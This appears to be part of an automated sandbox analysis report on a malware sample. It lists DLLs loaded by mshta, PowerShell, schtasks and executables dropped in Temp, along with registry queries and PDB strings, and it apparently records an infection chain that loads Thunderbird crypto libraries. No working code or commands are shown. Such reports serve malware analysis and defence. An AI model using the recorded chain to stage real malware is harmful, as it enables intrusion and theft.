Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: M6gQuZPvgY.exe

Static file information: File size 2166784 > 1048576

Source: M6gQuZPvgY.exe

Static PE information: Raw size of zwbixhzy is bigger than: 0x100000 < 0x1a1200

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1599541837.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1600168948.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-311\Release\win32api.pdb source: trano1221.exe, 0000002A.00000002.1973015383.00007FF98B681000.00000040.00000001.01000000.0000003B.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-311\Release\win32api.pdb!! source: trano1221.exe, 0000002A.00000002.1973015383.00007FF98B681000.00000040.00000001.01000000.0000003B.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: trano1221.exe, 00000023.00000003.1589374900.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: trano1221.exe, 0000002A.00000002.2026351473.00007FF98EA95000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1591172756.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb source: trano1221.exe, 0000002A.00000002.1975102681.00007FF98B9F1000.00000040.00000001.01000000.00000034.sdmp
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1588949427.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC source: trano1221.exe, 0000002A.00000002.1980923674.00007FF98C161000.00000040.00000001.01000000.0000002C.sdmp
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1597912717.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1599207028.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1600305599.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: trano1221.exe, 00000023.00000003.1583189955.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.2033979566.00007FF9AF531000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1589825821.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: trano1221.exe, 00000023.00000003.1583404038.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.2031587031.00007FF9A75E5000.00000002.00000001.01000000.00000039.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1598486784.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1595664997.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1599069389.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1589063022.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb$$ source: trano1221.exe, 0000002A.00000002.1975102681.00007FF98B9F1000.00000040.00000001.01000000.00000034.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PICOpenSSL 3.0.9 30 May 20233.0.9built on: Tue Jul 11 19:52:20 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC;CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_push_octet_ptrOSSL_PARAM_BLD_to_param..\s\crypto\params.c source: trano1221.exe, 0000002A.00000002.1980923674.00007FF98C161000.00000040.00000001.01000000.0000002C.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1591679400.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1588680873.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1589182480.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1598930353.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\pyexpat.pdb source: trano1221.exe, 0000002A.00000002.1996605213.00007FF98C9D1000.00000040.00000001.01000000.00000029.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: trano1221.exe, 0000002A.00000002.2029904114.00007FF9A06FC000.00000040.00000001.01000000.00000028.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: trano1221.exe, 0000002A.00000002.2030594224.00007FF9A3331000.00000040.00000001.01000000.00000027.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1593203015.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbUGP source: trano1221.exe, 0000002A.00000002.2026351473.00007FF98EA95000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: trano1221.exe, 00000023.00000003.1583404038.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.2031587031.00007FF9A75E5000.00000002.00000001.01000000.00000039.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1600657542.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: trano1221.exe, 00000023.00000003.1589681525.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp
